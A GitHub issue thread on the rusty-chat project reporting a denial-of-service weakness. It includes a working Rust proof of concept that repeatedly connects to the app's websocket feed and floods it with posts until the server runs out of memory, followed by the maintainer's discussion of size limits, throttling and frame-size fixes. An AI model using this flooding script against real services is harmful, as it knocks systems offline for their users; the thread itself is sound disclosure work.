tinrab / rusty-chat

A chat app made with Rust and React
MIT License
162 stars 27 forks source link

Denial of Service #1

Open FSMaxB opened 4 years ago

FSMaxB commented 4 years ago

Small proof of concept of a Denial of Service Attack:

use crate::proto::{Input, JoinInput, PostInput};
use tungstenite::Message;
use std::time::Duration;

mod proto;

fn main() {

    let zeros = vec![48u8; 256];
    let string = String::from_utf8(zeros).expect("Invalid UTF-8");
    loop {
        println!("Outer loop iteration!");
        let (mut websocket, _) = tungstenite::connect("ws://localhost:8080/feed").expect("Failed to connect");
        let join_input = Input::Join(JoinInput { name: "Evil Eve".to_string() });
        let join_message = Message::Text(serde_json::to_string(&join_input).expect("Failed to serialize join input."));
        websocket.write_message(join_message);
        //let received = websocket.read_message().expect("Failed to receive response to Join Message");
        //println!("Received: {:?}", received);

        let post_input = Input::Post(PostInput { body: string.clone() });
        let post_message = Message::Text(serde_json::to_string(&post_input).expect("Failed to serialize post input."));
        for inner_count in 0..usize::MAX {
            if inner_count % 10000 == 0 {
                println!("Inner count: {}", inner_count);
            }
            if websocket.write_message(post_message.clone()).is_err() {
                break;
            }
            websocket.read_message();
        }
        std::thread::sleep(Duration::from_secs(1));
    }
}

My first thought was that I could just stop reading the responses from the server (websocket.read_message()) but then it seems like tokio-tungstenite detects that and closes the connection: [2020-05-21T09:01:59Z ERROR rusty_chat::server] Client connection error: system error: channel lagged by 351.

Not reading the response and constantly trying to reconnect though is already enough to prevent other clients from joining.

When I start reading the responses as seen in the example above, the Feed will still fill up with messages until at some point the server will be killed because it uses too much memory.

FSMaxB commented 4 years ago

Correction: The channel lagged error messages is coming from tokio::sync::broadcast.

tinrab commented 4 years ago

It would certainly be good to prevent this. First steps could include limiting the request body size with warp::filters::body::content_length_limit and throttling client's read stream with tokio::time::throttle.

FSMaxB commented 4 years ago

I think the biggest problem at the moment is that the feed has an unlimited size. This probably also the reason why joining the chat doesn't work reliably in this scenario, because the client has problems receiving such a large response.

Another thing to look at: https://docs.rs/tungstenite/0.10.0/tungstenite/protocol/struct.WebSocketConfig.html (also used by tokio-tungstenite). But after a quick look I didn't find a way to pass this configuration to warp websocket filter.

tinrab commented 4 years ago

max_frame_size was added in warp = "0.2.3".